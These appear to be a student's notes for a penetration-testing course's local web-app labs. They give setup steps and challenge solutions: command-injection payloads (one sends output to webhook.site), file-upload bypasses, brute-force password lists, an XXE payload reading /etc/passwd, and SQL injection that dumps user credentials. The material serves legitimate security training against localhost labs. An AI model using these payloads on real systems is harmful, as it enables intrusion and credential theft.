Web App Lab Setup

Lab Requirements

  • Run pimpmykali.sh with E selection for PEH Course WebApp Labs

# Clone a Github repository in the "/opt" dir
cd /opt
sudo rm -rf pimpmykali/
sudo git clone https://github.com/Dewalt-arch/pimpmykali

sudo /opt/pimpmykali/pimpmykali.sh
# Run menu option E for the WebApp Labs
# The labs start automatically

# To START the labs
cd $HOME/peh/labs
./start-peh-labs.sh

# To (only) STOP the labs
sudo docker stop $(sudo docker ps -aq)

# To STOP and CLEANUP the labs
cd $HOME/peh/labs
./cleanup-peh-labs.sh
# This script removes ALL DOCKER CONTAINERS and NETWORKS!!!
  • Run Burp Suite and open its proxy browser

  • Browse to http://localhost

  • The database can be initialized/reset at http://localhost/init.php


Lab solutions

Command Inj 0x02

https://tcm-sec.com/& whoami& asd https://tcm-sec.com/ | sleep 10 | asd

https://webhook.site/<id>/?whoami``

Command Inj 0x03

45123)^2))}';whoami;#

File upload 0x01

  • Intercept

  • Change contents

  • Or turn off JS

File upload 0x02

  • Bypass the client-side again

  • Intercept and change the content-type to image/png or image/jpeg

File upload 0x03

  • Bypass the client-side again

  • Intercept and change the content-type again

  • Use an extension that's not in the blocklist (.phtml)

Authentication 0x01

  • Brute force

Authentication 0x02

  • MFA code, switch username (code is OK for all users)

  • Or, just brute the code

Authentication 0x03

  • Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list

  • common password list:

password
password123
letmein
manchesterunited
  • common usernames list: /usr/share/seclists/Usernames/Names/names.txt

XXE, IDOR, capstone

XXE 0x01

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >]>
<creds><user>username</user><password>pass</password></creds>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds><user>&xxe;</user><password>pass</password></creds>

IDOR

fuzz the parameter

  • find an admin user (or all of the admin users)

Capstone

SQLi to get into admin panel File upload to get RCE

  • XSS in the message alert

  • XSS in account names probably? need to test

  • brute force user accounts

  • SQLi on adding rating

http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -

http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-

To do list

  • file upload capstone

  • auth0x03 testing

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